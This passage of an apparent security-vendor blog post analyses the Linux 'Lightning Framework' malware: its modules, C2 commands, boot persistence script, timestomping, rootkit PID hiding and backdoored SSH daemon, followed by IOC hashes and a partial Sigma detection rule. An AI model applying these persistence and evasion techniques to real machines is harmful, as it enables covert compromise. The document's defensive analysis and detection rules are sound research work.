&lt;td&gt;&lt;code&gt;Linux.Plugin.Lightning.Sshd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sshod&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;OpenSSH with hardcoded private and host keys&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Linux.Plugin.Lightning.Nethogs&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;nethoogs&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;There is a reference to this module but no sample found in the wild yet. Presumably the software &lt;a href="https://github.com/raboof/nethogs"target="_blank" rel="noopener"&gt;Nethogs&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Linux.Plugin.Lightning.iftop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;iftoop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;There is a reference to this module but no sample found in the wild yet. Presumably the software &lt;a href="https://linux.die.net/man/8/iftop"target="_blank" rel="noopener"&gt;iftop&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Linux.Plugin.Lightning.iptraf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;iptraof&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;There is a reference to this module but no sample found in the wild yet. Presumably the software &lt;a href="http://iptraf.seul.org/"target="_blank" rel="noopener"&gt;IPTraf&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Linux.Plugin.RootkieHide&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;libsystemd.so.2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;There is a reference to this module but no sample found in the wild yet. LD_PRELOAD Rootkit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Linux.Plugin.Kernel&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;elastisearch.ko&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;There is a reference to this module but no sample found in the wild yet. LKM Rootkit&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Lightning.Downloader&lt;span class="hx:absolute hx:-mt-20" id="lightningdownloader"&gt;&lt;/span&gt;
&lt;a href="#lightningdownloader" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The main function of the downloader module is to fetch the other components and
execute the core module.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig2.png" title="Lightning Downloader result in Intezer Analyze" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Lightning Downloader result in Intezer Analyze&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The downloader module starts by checking if it is located in the working
directory &lt;code&gt;/usr/lib64/seahorses/&lt;/code&gt; under the name &lt;code&gt;kbioset&lt;/code&gt;. The framework makes
heavy use of typosquatting and masquerading in order to remain undetected. The
reference to &lt;code&gt;seahorses&lt;/code&gt; masquerades the password and key manager software
&lt;a href="https://gitlab.gnome.org/GNOME/seahorse"target="_blank" rel="noopener"&gt;seahorse&lt;/a&gt;. If not it will relocate
itself to that working directory and execute that copy. The downloader will
fingerprint the host name and network adapters to generate a GUID, which will
be sent to the command and control (C2) server.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig3.png" title="Building the GUID" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Building the GUID&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The downloader will then contact the C2 to fetch the following modules and
plugins:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Linux.Plugin.Lightning.SsHijacker&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Linux.Plugin.Lightning.Sshd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Linux.Plugin.Lightning.Nethogs&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Linux.Plugin.Lightning.iftop&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Linux.Plugin.Lightning.iptraf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Lightning.Core&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig4.png" title="Resources fetched from the C2" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Resources fetched from the C2&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The method of contacting the C2 will be described below in the malleable C2
section (click here to jump to that section). The downloader will then execute
the core module (&lt;code&gt;kkdmflush&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig5.png" title="Execution of the core module" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Execution of the core module&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Lightning.Core&lt;span class="hx:absolute hx:-mt-20" id="lightningcore"&gt;&lt;/span&gt;
&lt;a href="#lightningcore" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The core module is the main module in this framework, it is able to receive
commands from the C2 and execute the plugin modules. The module has many
capabilities and uses a number of techniques to
&lt;a href="https://attack.mitre.org/techniques/T1564/"target="_blank" rel="noopener"&gt;hide artifacts&lt;/a&gt; to remain running
under the radar.&lt;/p&gt;
&lt;p&gt;The core module modifies the name of the calling thread of the module to
&lt;code&gt;kdmflush&lt;/code&gt;, to make it appear that it is a kernel thread.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig6.png" title="Using prctl to modify calling thread name" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Using prctl to modify calling thread name&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Next the core module sets up persistence by creating a script that is executed
upon system &lt;a href="https://attack.mitre.org/techniques/T1037/"target="_blank" rel="noopener"&gt;boot&lt;/a&gt;. This is
achieved by first creating a file located at &lt;code&gt;/etc/rc.d/init.d/elastisearch&lt;/code&gt;.
The name appears to typosquat elasticsearch. The following contents are written
to the file:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&lt;/span&gt;&lt;span class="c1"&gt;# chkconfig:2345 90 20&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/lib64/seahorses/kbioset &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This script will execute the downloader module upon boot. The service is then
added using the &lt;code&gt;chkconfig&lt;/code&gt; utility.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig7.png" title="Creation of the init.d script and service" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Creation of the init.d script and service&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The timestamp of the file is modified to hide artifacts, a technique known as
&amp;ldquo;&lt;a href="https://attack.mitre.org/techniques/T1070/006/"target="_blank" rel="noopener"&gt;timestomping&lt;/a&gt;&amp;rdquo;. The file has
its last modified time edited to match that of either &lt;code&gt;whoami&lt;/code&gt;, &lt;code&gt;find&lt;/code&gt;, or
&lt;code&gt;su&lt;/code&gt;. It will look for each file respectively until it finds one. This
technique is used for most of the files that the framework creates.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig8.png" title="File timestamp modification function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;File timestamp modification function&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The malware will attempt to hide its Process ID (PID) and any related network
ports. This is achieved by writing the frameworks running PIDs to two files:
&lt;code&gt;hpi&lt;/code&gt; and &lt;code&gt;hpo&lt;/code&gt;. These files are parsed and then the existence of the file
&lt;code&gt;proc/y.y&lt;/code&gt; is checked. If the file exists, it means that a rootkit has been
installed. The PIDs are written to &lt;code&gt;proc/y.y&lt;/code&gt; for use by the rootkit, which may
scrub any reference to files running in the framework from commands such as
&lt;code&gt;ps&lt;/code&gt; and &lt;code&gt;netstat&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig9.png" title="Writing PID to proc/y.y if it exists (Indication that rootkit exists)" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Writing PID to proc/y.y if it exists (Indication that rootkit exists)&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The core module will generate a GUID in the same manner as the downloader and
contact the C2. The response is parsed and the command is executed. The core
module has the following commands:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SystemInfo&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Fingerprints the machine&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PureShellCommand&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Runs Shell command&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RunShellPure&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Starts the &lt;code&gt;Linux.Plugin.Lightning.Sshd&lt;/code&gt; (SSH Daemon) plugin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CloseShellPure&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Terminates the &lt;code&gt;Linux.Plugin.Lightning.Sshd&lt;/code&gt; plugin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Disconnect&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Exits the Core module&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GetRemotePathInfo&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Collects the summary of given path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KeepAlive&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;No action, connection remains alive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UploadFileHeader&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Checks access of file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;FileEdit&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Gets contents of file and time meta&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;TryPassSSH&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Adds a public key to the &lt;code&gt;root/.ssh/authorized_keys&lt;/code&gt; file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DeleteVecFile&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deletes the specified file or path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PreDownloadFile&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Calculates a checksum of the file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DownloadFile&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Sends a file to the C2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DeleteGuid&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Removes the framework&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UpdateVersion&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Calls the Downloader module to update the framework&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UpdateRemoteVersion&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Updates the framework including the downloader&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Socks5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Sets up a Socks5 proxy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RestorePlug&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The same as &lt;code&gt;UpdateVersion&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GetDomainSetting&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Fetches the contents of the malleable C2 configuration file (&lt;code&gt;cpc&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SetDomainSetting&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Updates the contents of the malleable C2 configuration file (&lt;code&gt;cpc&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;InstallKernelHide&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Fetches the OS release&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RemoveKernelHide&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Removes kernel module&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UpdateKernelVersion&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Removes the kernel module and runs &lt;code&gt;uname -r&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;OverrideFile&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Overwrites specified file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UploadFileContent&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Writes data sent from server to file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;LocalPluginRequest&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Either write the LD_PRELOAD rootkit or LKM rootkit&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Network Communication&lt;span class="hx:absolute hx:-mt-20" id="network-communication"&gt;&lt;/span&gt;
&lt;a href="#network-communication" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Network communication in the Core and Downloader modules are performed over TCP
sockets. The data is structured in JSON. The C2 is stored in a polymorphic
encoded configuration file that is unique for every single creation. This means
that configuration files will not be able to be detected through techniques
such as hashes. The key is built into the start of the encoded file.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig10.png" title="Encoded malleable C2 configuration profile" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Encoded malleable C2 configuration profile&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig11.png" title="The dynamic XOR decoding routine" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;The dynamic XOR decoding routine&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The decoded configuration is structured in JSON. The default configuration in
the analyzed sample uses a local IP address &lt;code&gt;10.2.22[.]67&lt;/code&gt; with the port
&lt;code&gt;33229&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig12.png" title="Decoded default configuration" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Decoded default configuration&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;There is a passive mode of communication available if the actor executes the
&lt;code&gt;RunShellPure&lt;/code&gt; command. This starts an SSH service on the infected machine with
the &lt;code&gt;Linux.Plugin.Lightning.Sshd&lt;/code&gt; plugin. The plugin is an OpenSSH daemon that
has hardcoded private and host keys, allowing the attacker to SSH into the
machine with their own SSH key, creating a secondary backdoor.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig13.png" title="Hardcoded keys inside the modified OpenSSH daemon" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Hardcoded keys inside the modified OpenSSH daemon&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Summary&lt;span class="hx:absolute hx:-mt-20" id="summary"&gt;&lt;/span&gt;
&lt;a href="#summary" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The Lightning Framework is an interesting malware as it is not common to see
such a large framework developed for targeting Linux. Although we do not have
all the files, we can infer some of the missing functionality based on strings
and code of the modules that we do possess. Check out our next blog here about
&lt;a href="../../../2022/08/lightning-framework-linux-detection-rules-osquery"&gt;detection opportunities for Lightning Framework using osquery&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;We would like to extend a huge thanks to our friends and partners at IBM and
SentinelOne for their help during investigating this threat.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;IOCs for Lightning Framework&lt;span class="hx:absolute hx:-mt-20" id="iocs-for-lightning-framework"&gt;&lt;/span&gt;
&lt;a href="#iocs-for-lightning-framework" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Hashes&lt;span class="hx:absolute hx:-mt-20" id="hashes"&gt;&lt;/span&gt;
&lt;a href="#hashes" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Lightning.Downloader&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://analyze.intezer.com/files/48f9471c20316b295704e6f8feb2196dd619799edec5835734fc24051f45c5b7?utm_campaign=research-blog&amp;amp;utm_content=lightning-framework-new-linux-threat&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;&lt;code&gt;48f9471c20316b295704e6f8feb2196dd619799edec5835734fc24051f45c5b7&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Lightning.Core&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://analyze.intezer.com/files/fd285c2fb4d42dde23590118dba016bf5b846625da3abdbe48773530a07bcd1e?utm_campaign=research-blog&amp;amp;utm_content=lightning-framework-new-linux-threat&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;&lt;code&gt;fd285c2fb4d42dde23590118dba016bf5b846625da3abdbe48773530a07bcd1e&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Linux.Plugin.Lightning.Sshd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://analyze.intezer.com/files/ad16989a3ebf0b416681f8db31af098e02eabd25452f8d781383547ead395237?utm_campaign=research-blog&amp;amp;utm_content=lightning-framework-new-linux-threat&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;&lt;code&gt;ad16989a3ebf0b416681f8db31af098e02eabd25452f8d781383547ead395237&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Sigma Detection Rules&lt;span class="hx:absolute hx:-mt-20" id="sigma-detection-rules"&gt;&lt;/span&gt;
&lt;a href="#sigma-detection-rules" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;Lightning Framework File Path&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;experimental&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;Detects creation of files related to Lightning Framework.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;author&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;Intezer&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;references&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;https://intezer.com&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;logsource&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;product&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;linux&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;category&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;file_create&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;detection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;selection1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;TargetFilename|startswith&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;/usr/lib64/seahorses/&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;selection2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;TargetFilename|contains&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;kbioset&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;cpc&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;kkdmflush&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;soss&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;sshod&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;nethoogs&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
